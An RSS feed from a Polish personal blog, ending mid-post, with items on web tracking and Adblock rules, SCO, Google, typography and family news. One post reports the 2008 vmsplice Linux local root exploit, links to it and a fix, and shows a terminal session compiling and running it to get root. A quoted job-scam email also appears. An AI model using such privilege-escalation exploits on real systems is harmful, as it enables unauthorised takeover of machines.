<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
   <title>Blog Łeb 2.0 | Marcin Sochacki (Wanted)</title>
   <link>http://wanted.eu.org/pl/</link>
   <description>Marcin Sochacki (Wanted): osobisty blog z opiniami, przemyśleniami, nowościami na temat WWW i Internetu.</description>
   <language>pl</language>
   <copyright>Copyright 2006-2007 Marcin Sochacki</copyright>
   <ttl>60</ttl>
   <pubDate>Sun, 06 Apr 2008 11:26 GMT</pubDate>
   <managingEditor>wanted @ linux.gda.pl</managingEditor>
   <generator>PyBlosxom http://pyblosxom.sourceforge.net/ 1.4.1 7/27/2007</generator>
<item>
   <title>Wymawia się „Koo-bee-tza”!</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/to_lubie/sport/wymawia_sie_koo_bee_tza</guid>
   <link>http://wanted.eu.org/pl/to_lubie/sport/wymawia_sie_koo_bee_tza</link>
   <description><![CDATA[
<p>
Już za chwilę zacznie się spektakl w&nbsp;Bahrajnie z&nbsp;główną rolą naszego
Roberta Kubicy. I&nbsp;niech się bambusy uczą jak wymawiać to nazwisko, bo
nie raz będzie im to potrzebne :-)
</p>
<p>
A&nbsp;jak uczcić Pole Position Kubicy? Ja eksperymentalnie nabyłem drogą kupna
litewskie piwo pszeniczne <a href="http://www.svyturys.lt/">Švyturys</a>.
</p>

<div class="i" style="width: 336px">
<img src="/i/_misc/svyturys.jpg" width="120" height="336" alt="Švyturys" /><p>Švyturys</p></div>


]]></description>
   <category domain="http://wanted.eu.org/pl/">/to_lubie/sport</category>
   <pubDate>Sun, 06 Apr 2008 11:26 GMT</pubDate>
</item>
<item>
   <title>Gomez w Allegro</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/komputery/www/gomez_w_allegro</guid>
   <link>http://wanted.eu.org/pl/komputery/www/gomez_w_allegro</link>
   <description><![CDATA[
<p>
Kilka tygodni temu, logując się na <a
href="http://www.allegro.pl/">Allegro</a> zauważyłem odwołania do dziwnego
hosta: <code>b3a70b.r.axf8.net</code>. Wejście na stronę <a
href="http://axf8.net/">axf8.net</a> szybko wyjaśnia sprawę – mamy do
czynienia z&nbsp;klasycznym <a href="http://en.wikipedia.org/wiki/Web_bug">
web bugiem</a> do śledzenia odwiedzin o&nbsp;nazwie Gomez.
</p>

<p>
Wówczas jeszcze nie udało mi się zreprodukować tego zachowania –
najwyraźniej działało to tylko na małej próbce wywołań. Wygląda na to, że
okres próbny przeszedł pomyślnie, bo dzisiaj zauważyłem kod Gomeza na
stronie głównej Allegro. Rozwiązanie działa bardzo podobnie do rodzimego
Gemiusa czy Google Analytics, ale rzut oka na <a
href="http://axf8.net/products/index.html">opis produktów</a> pod szyldem
Gomeza wskazuje, że są one raczej nastawione na monitorowanie wydajności
aplikacji webowych. Chodzi na przykład o&nbsp;takie metryki jak czas ładowania
strony z&nbsp;punktu widzenia użytkownika. Jest to informacja bardzo
trudna do uzyskania z&nbsp;logów serwera WWW, natomiast łatwo dostępna z poziomu
Java Scriptu.
</p>
<p>
Monitorowanie wydajności aplikacji to dobra rzecz, choć szczerze mówiąc
nigdy nie miałem dużych problemów z&nbsp;szybkością ładowania stron Allegro.
Gorzej natomiast ze stabilnością samego serwisu – od czasu sławetnego
przejścia z&nbsp;MySQL na Oracle serwis ma <a
href="http://allegro.pl/phorum/list.php?f=301">częste awarie</a>. Jeśli
Gomez pomoże im w&nbsp;poprawieniu dostępności to będzie miło.
</p>
<p>
Niemniej, jako dość przewrażliwiony na web bugs i&nbsp;nadmiarowe cookies
paranoik, osobiście blokuję wszelkie Gemiusy, Analyticsy i&nbsp;inne śledzące
wstawki przy pomocy <a href="http://adblockplus.org/">Adblock Plus</a>. Tak
naprawdę, nie tylko śledzenie użytkowników mnie denerwuje, ale też widoczny
wpływ na czas ładowania strony. Osobom o&nbsp;podobnych upodobaniach proponuję
dodanie <code>axf8.net</code> do blacklisty.
</p>
<p>
Przy okazji wymienię też wybrane regułki Adblock Plusa jakie stosuję na
popularnych polskich stronach:
</p>
<ul>
<li>
<code>dot.wp.pl</code> – web bug na stronach WP,
</li>
<li>
<code>reklama.www.wp.pl</code> – reklama na WP,
</li>
<li>
<code>kropka.onet.pl</code> – web bug na stronach Onetu,
</li>
<li>
<code>csr.onet.pl, reklama.onet.pl</code> – reklama na Onecie,
</li>
<li>
<code>gemius.js, gemius_adnet.js, hit.gemius.pl</code> – nasz lider
w&nbsp;statystykach, bardzo popularny na stronach,
</li>
<li>
<code>hit.stat24.pl, hit.stat.pl</code> – konkurenci Gemiusa,
</li>
<li>
<code>google-analytics.com</code> – Google Analytics, bardzo popularne od
czasu udostępnienia wersji darmowej dla każdego,
</li>
<li>
<code>adidm.idmnet.pl, ad.adocean.pl, adocean.pl/*ad.js</code> –
sieci reklamowe serwujące bannery,
</li>
<li>
<code>tradedoubler.com</code> – agresywne programy partnerskie.
</li>
</ul>
<p>
Powyższe regułki nie wyczerpują oczywiście zagadnienia optymalnej listy dla
Adblocka, ale i tak wyraźnie polepszają szybkość działania wielu serwisów.
Polecam!
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/komputery/www</category>
   <pubDate>Fri, 22 Feb 2008 23:06 GMT</pubDate>
</item>
<item>
   <title>Oh, fsck! Exploit na Linuksa</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/komputery/linux/oh_fsck</guid>
   <link>http://wanted.eu.org/pl/komputery/linux/oh_fsck</link>
   <description><![CDATA[
<p>
Właśnie pojawił się nowy <a
href="http://www.milw0rm.com/exploits/5092">lokalny exploit na roota</a>,
działający w&nbsp;kernelach 2.6.17 – 2.6.24.1. Dawno już nie było chyba takiego
babola, który dotknąłby tyle wersji kernela naraz. Działa na pewno
w&nbsp;obecnych wersjach Ubuntu, Debiana, Fedory i&nbsp;pewnie wielu innych. No to
czeka nas rundka paczowania, motyla noga! Dziura dotyczy funkcji
<a href="http://manpage.b0red.de/2+vmsplice"><code>vmsplice()</code></a>,
której wsparcie zresztą można wyłączyć na etapie kompilacji.
</p>

<p>
Na szczęście jest już szybka <a
href="http://www.ping.uio.no/~mortehu/disable-vmsplice-if-exploitable.c">poprawka</a>
działająca na żywym systemie (nie wymaga reinstalowania jądra).
</p>
<p>
Exploit w&nbsp;działaniu:
</p>
<div class="codex">
<pre>
wanted@fafik:&nbsp;/crack/local-root-exp$ gcc exp.c -static -Wno-format
wanted@fafik:&nbsp;/crack/local-root-exp$ ./a.out
———————————–
 Linux vmsplice Local Root Exploit
 By qaaz
———————————–
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7ede000 .. 0xb7f10000
[+] root
root@fafik:&nbsp;/crack/local-root-exp# id
uid=0(root) gid=0(root)
groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),106(lpadmin),107(admin),1000(wanted)
</pre>
</div>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/komputery/linux</category>
   <pubDate>Mon, 11 Feb 2008 00:44 GMT</pubDate>
</item>
<item>
   <title>Reguła nr 3: Spamerzy są głupi</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/komputery/spam/regula_nr_3</guid>
   <link>http://wanted.eu.org/pl/komputery/spam/regula_nr_3</link>
   <description><![CDATA[
<p>
Tytuł posta pochodzi ze znanej w&nbsp;światku antyspamowym <a
href="http://nospam-pl.net/reguly.php">listy reguł postępowania
spamerów</a>. Parę dni temu na jeden z&nbsp;moich serwerów trafił spamik, który
nie wyróżniałby się niczym szczególnym, gdyby nie adresat.
</p>

<pre>
From: Ann Sangolt &lt;Fraser76@equitec.com&gt;
<strong>To: mailer-daemon &lt;mailer-daemon@&hellip;&gt;</strong>
Subject: Job for you
Date: Mon, 28 Jan 2008 01:49:04 -0800

Hello!

Our company would like to offer you the following position: Assistant
Manager.

This is part-time home-based position. You'll need no money and no
specialskills to start. This job requires only few hours
during the week and isavailable on the whole territory of Poland. You can
easily combine it with yourmain employment.

If you are interested and would like to know more about our company and
positionoffered, please drop me a line to:
poland@inax-trading.com

Thank you.

Have a nice day.
</pre>
<p>
Dla niezorientowanych, mailer-daemon@ to adres techniczny przypisany do
programu obsługującego serwer pocztowy, a&nbsp;nie do konkretnej osoby. Zatem
ciekawą pracę oferują dla naszego serwera, muszę zapytać czy jest
zainteresowany stanowiskiem kierowniczym :-) Choć z&nbsp;drugiej strony, maszyna
mogłaby wtedy się zbuntować i&nbsp;byłaby powtórka z&nbsp;<a
href="http://www.imdb.com/title/tt0083658/">Blade Runnera</a>. Nieee, lepiej
będę siedział cicho ;-)
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/komputery/spam</category>
   <pubDate>Thu, 31 Jan 2008 01:49 GMT</pubDate>
</item>
<item>
   <title>SCO mówimy papa!</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/komputery/inne/sco_mowimy_papa</guid>
   <link>http://wanted.eu.org/pl/komputery/inne/sco_mowimy_papa</link>
   <description><![CDATA[
<p>
A&nbsp;dokładniej, papa! <a
href="http://linux.slashdot.org/article.pl?sid=07/12/27/1438204">powiedziała
giełda papierów wartościowych NASDAQ</a>, po tym
jak kurs akcji SCO spadł do praktycznie

<a href="/i/_misc/scox.png" onclick="return pop('/i/_misc/scox.png',512,288,'Kurs historyczny akcji SCO');" title="Kurs historyczny akcji SCO">
zerowego poziomu</a>, 
a&nbsp;firma ogłosiła
bankructwo. I&nbsp;tak jestem w&nbsp;szoku, że trwało to tak długo i&nbsp;że mieli środki
na działalność pomimo udowodnionego sądownie stosowania praktyk <acronym
title="Fear, Uncertainty, Doubt">FUD</acronym>. Jak się bowiem okazało SCO
wcale nie posiada praw właśności intelektualnej do dużej części kodu
źródłowego Linuksa, co z&nbsp;wielką pompą ogłaszali w&nbsp;2003 roku.
</p>

<p>
Dzisiaj jednak już im piórka opadły. Znamienne jest to, że największy banner
na <a href="http://www.sco.com/">stronie WWW SCO</a> poświęcony jest&hellip;
patchowi na ich komercyjne systemy uniksowe związanemu ze zmianą dat czasu
letniego w&nbsp;USA i&nbsp;Kanadzie w&nbsp;2007 roku. W&nbsp;tej chwili jest to zatem patch już
delikatnie mówiąc leciwy. Dobrze to oddaje stan upadającej firmy – szkoda
że tak długo to trwało i&nbsp;kosztowało tyle nerwów. Die SCO, die!
</p>

<div class="i" style="width: 350px">
<a href="/i/_misc/sco_homepage.png" onclick="return pop('/i/_misc/sco_homepage.png',722,509,'Strona domowa SCO i&nbsp;wielki banner');">
<img src="/i/_misc/m_sco_homepage.png" width="350" height="247" alt="Strona domowa SCO i&nbsp;wielki banner" /></a><p>Strona domowa SCO i&nbsp;wielki banner</p></div>


]]></description>
   <category domain="http://wanted.eu.org/pl/">/komputery/inne</category>
   <pubDate>Wed, 02 Jan 2008 01:10 GMT</pubDate>
</item>
<item>
   <title>Świąteczne pierniczki</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/to_lubie/foto/swiateczne_pierniczki</guid>
   <link>http://wanted.eu.org/pl/to_lubie/foto/swiateczne_pierniczki</link>
   <description><![CDATA[
<p>
Jak zapewne zauważyli moi stali Czytelnicy, częstotliwość wpisów na blogu
ostatnio spadła. Mam jednak nadzieję, że fakt bycia świeżo upieczonym ojcem
jest wystarczającą wymówką na rzadsze pisanie :-)
</p>
<p>
A propos pieczenia – dzisiaj cała rodzina pod przewodnictwem mojej kochanej
Żony piekła pierniczki na Święta. Pyszne i&nbsp;trwałe, mogą leżeć nawet parę
miesięcy, co dla geeków i&nbsp;studentów jest jak wiadomo pożądaną cechą jedzenia.
Serdecznie polecam, w&nbsp;razie czego da się udostępnić przepis. Żony nie
udostępniam.
</p>


<div class="i" style="width: 250px">
<a href="/i/20071223-pierniki/pierniczki.jpg" onclick="return pop('/i/20071223-pierniki/pierniczki.jpg',600,408,'Pierniczki świąteczne');">
<img src="/i/20071223-pierniki/m_pierniczki.jpg" width="250" height="170" alt="Pierniczki świąteczne" /></a><p>Pierniczki świąteczne</p></div>


]]></description>
   <category domain="http://wanted.eu.org/pl/">/to_lubie/foto</category>
   <pubDate>Sun, 23 Dec 2007 22:33 GMT</pubDate>
</item>
<item>
   <title>Google mówi „B” w sprawie linków pozycjonujących</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/komputery/google/google_mowi_b_w_sprawie_linkow_pozycjonujacych</guid>
   <link>http://wanted.eu.org/pl/komputery/google/google_mowi_b_w_sprawie_linkow_pozycjonujacych</link>
   <description><![CDATA[
<p>
Kilka miesięcy temu Google powiedziało „A” publicznie <a
href="/pl/komputery/google/linki_pozycjonujace_szkodza">zaliczając linki
pozycjonujące</a> do niedozwolonych technik SEO.
Użytkownicy byli zachęcani do zgłaszania stron korzystajacych z&nbsp;takich
linków, a&nbsp;zespół do walki ze spamem, do którego należy <a
href="http://www.mattcutts.com/blog/">Matt Cutts</a>, pracował nad
algorytmem detekcji takich stron.
</p>
<p>
Pomimo zdecydowanych sygnałów, że linki pozycjonujące, jako technika
oszukująca wyszukiwarki są zabronione, w&nbsp;ciągu tych kilku miesięcy Google
AdWords i&nbsp;AdSense nadal jednak zezwalały na reklamę firm zajmujących się
takim pozycjonowaniem. Było to zagadnienie szeroko komentowane w&nbsp;wielu
serwisach jako dwulicowość Google, bo z&nbsp;jednej strony walczy z&nbsp;biznesem
pozycjonerskim w&nbsp;wynikach organicznych, a&nbsp;z&nbsp;drugiej zezwala na reklamy tych
samych firm w&nbsp;AdWords/AdSense zarabiając pośrednio na tym interesie.
</p>

<p>
Dzisiaj Google mówi „B” w&nbsp;sprawie linków pozycjonujących.
Późno, bo późno, ale okazuje się jednak, że Google robi tę właściwą rzecz,
czyli usuwa reklamy niezgodne z&nbsp;regulaminem rezygnując z&nbsp;części dochodu. Jak
stwierdził Matt Cutts w&nbsp;<a
href="http://www.mattcutts.com/blog/selling-links-that-pass-pagerank/#comment-117601">kilku</a>
<a href="http://blogoscoped.com/forum/117032.html">komentarzach</a> po
rozmowie z&nbsp;zespołem zajmującym się reklamami sprawa została zauważona
i&nbsp;<a
href="http://adwords.google.com/support/bin/static.py?page=guidelines.cs&amp;topic=9271&amp;subtopic=9279&amp;answer=73762">regulamin</a>
będzie od teraz egzekwowany.
</p>
<p>
Jeszcze do niedawna wyniki wyszukiwania dla słowa kluczowego „PR8” (czyli
PageRank&nbsp;8) wyglądały następująco:
</p>

<div class="i" style="width: 502px">
<img src="/i/_misc/pr8-query-before.png" width="502" height="387" alt="Zapytanie o&nbsp;PR8 przed zmianą" /><p>Zapytanie o&nbsp;PR8 przed zmianą</p></div>

<br style="clear: both" />
<p>
a&nbsp;dzisiaj wyglądają tak:
</p>

<div class="i" style="width: 502px">
<img src="/i/_misc/pr8-query-after.png" width="502" height="302" alt="Zapytanie o&nbsp;PR8 dzisiaj" /><p>Zapytanie o&nbsp;PR8 dzisiaj</p></div>

<br style="clear: both" />
<p>
<small>
<em>(Grafiki na licencji CC-BY-NC pochodzą z&nbsp;<a
href="http://blogoscoped.com/archive/2007-12-02-n40.html">Google
Blogoscoped</a>)</em>
</small>
</p>
<p>
To dobry krok dla Google i&nbsp;dobry dla użytkowników Internetu. Każdy zdaje
sobie sprawę, że walka spamerów i&nbsp;operatorów wyszukiwarek to nieustający
wyścig zbrojeń i&nbsp;że nie powstanie 100% skuteczna metoda odsiania zboża od
plew. Uważam jednak, że zaprzestanie tej walki oznaczałoby totalne
zaspamowanie wyszukiwarek i&nbsp;prowadziłoby do ich bezużyteczności. Linki
organiczne dla większości zapytań nie różniłyby się jakością od reklam
pokazywanych obok. Na górze znajdowałyby się linki tych, którzy najwięcej
wydali na „promocję”, niezależnie od merytorycznej przydatności czy
użyteczności strony. Miejmy nadzieję, że nie doczekamy tak ponurej wizji
WWW.
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/komputery/google</category>
   <pubDate>Mon, 03 Dec 2007 03:54 GMT</pubDate>
</item>
<item>
   <title>Ulotka PKP a typografia</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/miejsca/trojmiasto/ulotka_pkp_a_typografia</guid>
   <link>http://wanted.eu.org/pl/miejsca/trojmiasto/ulotka_pkp_a_typografia</link>
   <description><![CDATA[
<p>
Podczas ostatniej bytności na dworcu PKP w&nbsp;Gdańsku wziąłem z&nbsp;nudów jedną
z&nbsp;ulotek leżących przy okienku. Zawiera ona rozkład jazdy pociągów z&nbsp;Gdyni
na Hel (są też inne, dotyczące pociągów na innych trasach)
i&nbsp;nie byłoby w&nbsp;niej nic nadzwyczajnego, gdyby nie pewien szczegół na
odwrocie&hellip;
</p>


<div class="i" style="width: 375px">
<img src="/i/_misc/pkp_ulotka1.jpg" width="200" height="375" alt="Ulotka PKP Przewozy Regionalne" /><p>Ulotka PKP Przewozy Regionalne</p></div>

<br style="clear: both" />
<p>
Po zajrzeniu na ostatnią stronę ulotki znajdujemy tam reklamę Plus GSM, a&nbsp;na
niej drobnym druczkiem taki oto kwiatek:
</p>

<div class="i" style="width: 450px">
<a href="/i/_misc/pkp_ulotka2.jpg" onclick="return pop('/i/_misc/pkp_ulotka2.jpg',800,122,'Drobny druczek z&nbsp;reklamy Plusa');">
<img src="/i/_misc/m_pkp_ulotka2.jpg" width="450" height="69" alt="Drobny druczek z&nbsp;reklamy Plusa" /></a><p>Drobny druczek z&nbsp;reklamy Plusa</p></div>

<br style="clear: both" />
<p>
Znajdujemy tam zdanie: „50 godzin na rozmowy w&nbsp;tary?e Elastyczna
300&hellip;”, gdzie w&nbsp;środku słowa „taryfie” wkradł się znak zapytania.
Podobne byki zdarzają się od czasu do czasu przy drukowaniu polskich znaków
diakrytycznych, ale w&nbsp;tym akurat wypadku są one w&nbsp;porządku.
</p>
<p>
Ogłaszam zatem mały konkurs dla Czytelników – wyjaśnienie zagadki
tajemniczego pytajnika :-) Nagrodą jest piwo albo inny wybrany trunek
podczas najbliższego spotkania.
</p>
<p>
<strong>Rozwiązanie:</strong> chodzi o&nbsp;<a
href="http://pl.wikipedia.org/wiki/Ligatura_%28pismo%29">ligatury</a>.
Niektóre kombinacje liter są w&nbsp;tradycyjnej typografii łączone w&nbsp;jeden znak
(glif) ze względów estetycznych. Na przykład, wydrukowanie obok siebie liter
<em>fi</em> (tak jak w&nbsp;wyrazie „taryfie”) powoduje nieprzyjemne zlewanie
kropki nad <em>i</em> z&nbsp;końcówką <em>f</em>. Lepiej jeśli profesjonalista
zaprojektuje w&nbsp;foncie eleganckie ligatury, a&nbsp;program DTP je wykorzysta
w&nbsp;druku. W&nbsp;praktyce jednak wiele fontów nie zawiera ligatur; ponadto
popularne oprogramowanie jak MS Office również ich nie obsługuje.
</p>
<p>
W&nbsp;opisywanym przypadku, najwyraźniej doszło do skopiowania tekstu pomiędzy
różnymi aplikacjami albo do zmiany fontu – oryginalny tekst zawierał ligaturę
<em>fi</em>, a&nbsp;w&nbsp;docelowym systemie takowej nie było i&nbsp;została zastąpiona
pytajnikiem. Oto i&nbsp;cała zagadka.
</p>
<p>
Gdybyśmy chcieli w&nbsp;swoich dokumentach skorzystać z&nbsp;ligatur, warto polecić
system składu LaTeX, który domyślnie je wstawia.
</p>

<div class="i" style="width: 300px">
<img src="/i/_misc/ligatures.png" width="300" height="278" alt="Przykłady ligatur" /><p>Przykłady ligatur</p></div>


]]></description>
   <category domain="http://wanted.eu.org/pl/">/miejsca/trojmiasto</category>
   <pubDate>Fri, 16 Nov 2007 11:38 GMT</pubDate>
</item>
<item>
   <title>Automaty biletowe SKM</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/miejsca/trojmiasto/automaty_biletowe_SKM</guid>
   <link>http://wanted.eu.org/pl/miejsca/trojmiasto/automaty_biletowe_SKM</link>
   <description><![CDATA[
<p>
Na przystankach <a href="http://www.skm.pkp.pl/">Szybkiej Kolei
Miejskiej</a> (SKM, kolej podmiejska w&nbsp;Trójmieście) są zamontowane od kilku
miesięcy automaty biletowe. Ostatnio miałem okazję potestować te
urządzenia w&nbsp;praktyce i&nbsp;chciałbym podzielić się wrażeniami.
</p>

<div class="r">

<div class="i" style="width: 250px">
<a href="/i/20071103-SKM_Redlowo/004.jpg" onclick="return popp('/i/20071103-SKM_Redlowo/004.jpg','Automat biletowy SKM');">
<img src="/i/20071103-SKM_Redlowo/m_004.jpg" width="188" height="250" alt="Automat biletowy SKM" /></a><p>Automat biletowy SKM</p></div>

</div>
<p>
Sam pomysł zainstalowania automatów biletowych jest jak najbardziej godny
pochwały. W&nbsp;większości zachodnich miast nie uświadczymy już kiosków
z&nbsp;biletami, bo utrzymanie pracowników tych punktów kosztuje więcej niż
sprzęt. Z&nbsp;pewnością początkowo koszt takich urządzeń jest wysoki, dopóki
system się nie dotrze, ale w&nbsp;długim okresie automaty oszczędzają dużo czasu
i&nbsp;są bardzo praktyczne.
</p>
<p>
Na przystankach SKM zamontowano automaty biletowe niemieckiej firmy <a
href="http://www.elgeba.de/cms/index.php?lang=pl">Elgeba Gerätebau GmbH</a>
(zaskakujące, że posiadają polską wersję strony WWW). Są całkiem solidne,
wyposażone w&nbsp;ekran dotykowy, akceptują monety i&nbsp;banknoty, wydają resztę –
czyli robią wszystko czego od nich oczekujemy.
</p>
<p>
Teraz parę gorzkich słów o&nbsp;wadach urządzeń. Pierwsza sprawa to fakt, że
jeszcze nie udało mi się nigdy zapłacić większym nominałem niż 10 zł.
Włożony banknot dwudziestozłotowy w&nbsp;kilku automatach był zwracany ze względu
na brak reszty. Wydaje mi się mało prawdopodobne, aby tej reszty faktycznie
nie było – raczej podejrzewam jakieś dziwne ograniczenie w&nbsp;konfiguracji.
</p>
<p>
Najcięższe zarzuty dotyczą jednak użyteczności i&nbsp;wykonania interfejsu
graficznego. <abbr title="Graphical User Interface">GUI</abbr> nie było
zaprojektowane przez specjalistę od użyteczności. Rzuca się w&nbsp;oczy bałagan
opcji, nadmiar przycisków, zły dobór kolorów. Można to było nieco lepiej
zaprojektować, szczególnie sposób wybierania stacji docelowej z&nbsp;pełnej
listy.
</p>
<p>
Zgodnie z&nbsp;europejskimi trendami, interfejs jest dostępny
w&nbsp;dwóch językach obcych – angielskim i&nbsp;niemieckim. Naciśnięcie
flagi faktycznie przełącza nas na odpowiednie tłumaczenie.
</p>

<div class="i" style="width: 250px">
<a href="/i/20071103-SKM_Redlowo/001.jpg" onclick="return popl('/i/20071103-SKM_Redlowo/001.jpg','Angielski interfejs');">
<img src="/i/20071103-SKM_Redlowo/m_001.jpg" width="250" height="188" alt="Angielski interfejs" /></a><p>Angielski interfejs</p></div>

<br style="clear: both" />
<p>
Co się jednak dzieje jeśli wybierzemy opcję <em>Help</em>? Ukazuje się tekst
pomocy po polsku! Idiotyzm kompletny, zabrakło dosłownie godziny pracy
tłumacza aby przetłumaczyć parę ekranów pomocy. Pod spodem oczywiście
konsekwentnie mamy przyciski <em>Main Menu</em> i&nbsp;<em>Previous</em>; cóż
z&nbsp;tego jeśli środek jest zupełnie nieczytelny dla obcokrajowca.
</p>

<div class="i" style="width: 250px">
<a href="/i/20071103-SKM_Redlowo/003.jpg" onclick="return popl('/i/20071103-SKM_Redlowo/003.jpg','Angielski interfejs – opcja Help');">
<img src="/i/20071103-SKM_Redlowo/m_003.jpg" width="250" height="188" alt="Angielski interfejs – opcja Help" /></a><p>Angielski interfejs – opcja Help</p></div>

<br style="clear: both" />
<p>
Grzebiąc w&nbsp;pomocy znalazłem też schematyczną mapkę sieci SKM. Niestety
została ona wykonana fatalnie. Nazwy miejscowości są prawie nieczytelne.
Osoby z&nbsp;Trójmiasta mapki nie potrzebują, bo znają ją na pamięć, ale dla
turystów jest to nieoceniona pomoc. Szkoda że została spaprana.
Poniższe zdjęcie nie jest słabej jakości, mapka faktycznie tak wygląda.
</p>

<div class="i" style="width: 250px">
<a href="/i/20071103-SKM_Redlowo/005.jpg" onclick="return pop('/i/20071103-SKM_Redlowo/005.jpg',800,600,'Mapka sieci SKM, proszę nie regulować monitora');">
<img src="/i/20071103-SKM_Redlowo/m_005.jpg" width="250" height="188" alt="Mapka sieci SKM, proszę nie regulować monitora" /></a><p>Mapka sieci SKM, proszę nie regulować monitora</p></div>

<br style="clear: both" />
<p>
Reasumując, pomysł dobry, wykonanie takie sobie. Na szczęście oprogramowanie
można na pewno łatwo zaktualizować, natomiast sprzęt wydaje się solidny. Oby
SKM wzięła to sobie do serca.
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/miejsca/trojmiasto</category>
   <pubDate>Sun, 11 Nov 2007 20:09 GMT</pubDate>
</item>
<item>
   <title>Interia lamerzy</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/komputery/www/interia_lamerzy</guid>
   <link>http://wanted.eu.org/pl/komputery/www/interia_lamerzy</link>
   <description><![CDATA[
<p>
Po tym, jak <a href="/pl/komputery/wikipedia/onet_lamerzy">ostatnio
narzekałem</a> na znikanie bez śladu artykułów w&nbsp;Onecie tym razem kolej
przyszła na inny duży portal – Interię. I&nbsp;jest to sprawa dużo większego
kalibru. Portal ten otworzył niedawno serwis z&nbsp;przepisami kulinarnymi:
<a href="http://smaker.pl/" rel="nofollow">Smaker</a> (dostępny też pod
adresem kuchnia2.interia.pl). Aby szybko zapełnić serwis treścią autorzy
posłużyli się bezczelnym i&nbsp;ordynarnym plagiatem, kopiując artykuły i&nbsp;zdjęcia
m.in. z&nbsp;serwisu <a href="http://trufla3gotuje.blox.pl/html">Trufli</a>.
</p>

<p>
Bezczelność i&nbsp;świadome łamanie prawa autorskiego były tak dalece posunięte,
że po wytknięciu plagiatów, Interia kasowała tylko te zacytowane artykuły,
pozostawiając masę innych, splagiatowanych.
</p>
<p>
Z&nbsp;ostatnich informacji wynika, że Trufla została oficjalnie przeproszona
i&nbsp;usunięto wszystkie przepisy splagiatowane z&nbsp;jej serwisu. Wygląda
na to, że zniknęły również artykuły skopiowane ze strony <a
href="http://www.hortex.com.pl/">Hortexu</a>. I&nbsp;w&nbsp;ten sposób serwis, który
miał być według słów Marcina Hajka, dyrektora sektora Komunikacja
i&nbsp;Społeczności w&nbsp;Interii, <a
href="http://antyweb.pl/smakerpl-czyli-splecznosciowe-przepisy-od-interi/#comment-30744">szybko
zapełniony</a> „kontentem” (cokolwiek by to słowo miało znaczyć), to
dzisiaj sytuacja wygląda niezbyt imponująco. Gdybyśmy mieli ochotę na kurczaka,
to mamy teraz wielki wybór w&nbsp;postaci dwóch przepisów oraz pięknie spapraną
już na starcie reputację serwisu.
</p>
<p>
Więcej o&nbsp;sprawie można przeczytać na blogu Trufli
<a href="http://trufla3gotuje.blox.pl/2007/11/wpis-2.html">(1)</a>,
<a
href="http://trufla3gotuje.blox.pl/2007/11/Tematstrony-httpkuchnia2interiapl-ktora-czerpala.html">(2)</a>,
<a
href="http://iskanna.jogger.pl/2007/11/08/interia-kradnie/">iskanny</a>,
<a
href="http://forum.gazeta.pl/forum/72,2.html?f=8&amp;w=71682267&amp;v=2">na
forum Gazeta.pl</a> i&nbsp;u&nbsp;<a href="http://rychlicki.net/2007/11/09/291">Tomka
Rychlickiego</a>.
</p>
<p>
Na wypadek gdyby miał zginąć, kopia komentarza pracownika Interii
zamieszczonego w&nbsp;artykule na antyweb.pl:
<blockquote>
<p>
<small>
Marcin Hajek wrote:
<br />
Panowie,
INTERIA to spółka, ktrego jednym z aktywów jest portal - i tak należy to
postrzegać w kontekscie budowania wartości/marki firmy. Budowanie
swiadomości marki nie polega jedynie na wypuszczaniu kolejnych produktów „w
domenie” Interii. Chemy tworzyć nowe produkty, rozwijac je, pracować nad ich
wizerunkiem i tworzyć z nich osobne brandy. Po co? Dokladnie w tym samym
celu, w którym Coca-Cola produkuje Sprite’a a nie Coca-Cola: Citron :)
<br />
Co do Smakera - zgadzam sie, że kluczem do jego sukcesu jest zapelnienie go
kontentem - ale o to juz zadbamy :)
<br />
Posted 07 lis 2007 at 12:04 am
</small>
</p>
</blockquote>
<p>
P.S. Była krytyka Onetu, była Interii, więc WP powinna mieć się na baczności
:-)
</p>

]]></description>
   <category domain="http://wanted.eu.org/pl/">/komputery/www</category>
   <pubDate>Sat, 10 Nov 2007 01:01 GMT</pubDate>
</item>
<item>
   <title>Amelka</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/info/amelka</guid>
   <link>http://wanted.eu.org/pl/info/amelka</link>
   <description><![CDATA[
<p>
<em>
Wielkąś mi radość uczyniła w&nbsp;domu moim
<br />
Moja droga Amelio, tym pojawieniem swoim!
</em>
</p>


<div class="i" style="width: 450px">
<img src="/i/20070930-Amelia/amelka01.jpg" width="450" height="297" alt="Amelia Sochacka, 3900 g, 61 cm" /><p>Amelia Sochacka, 3900 g, 61 cm</p></div>


]]></description>
   <category domain="http://wanted.eu.org/pl/">/info</category>
   <pubDate>Tue, 30 Oct 2007 17:40 GMT</pubDate>
</item>
<item>
   <title>Pogłoski o mojej śmierci są mocno przesadzone</title>
   <guid isPermaLink="true">http://wanted.eu.org/pl/komputery/wikipedia/jeszcze_nie_umarlem</guid>
   <link>http://wanted.eu.org/pl/komputery/wikipedia/jeszcze_nie_umarlem</link>
   <description><![CDATA[
<p>
<a href="http://pl.wikipedia.org/wiki/Aleksander_Rowi%C5%84ski">Aleksander
Rowiński</a>, urodzony w&nbsp;1931 roku dziennikarz i&nbsp;pisarz zgłosił taki oto
błąd w&nbsp;polskiej Wikipedii:
</p>
<blockquote>
<p>
Polemika z informacją zamieszczoną u&nbsp;Was. Otóż nie mogłem umrzeć jak podano
w&nbsp;dniu 15 maja 2007, gdyż jeszcze 9&nbsp;czerwca br. odbywałem spotkanie
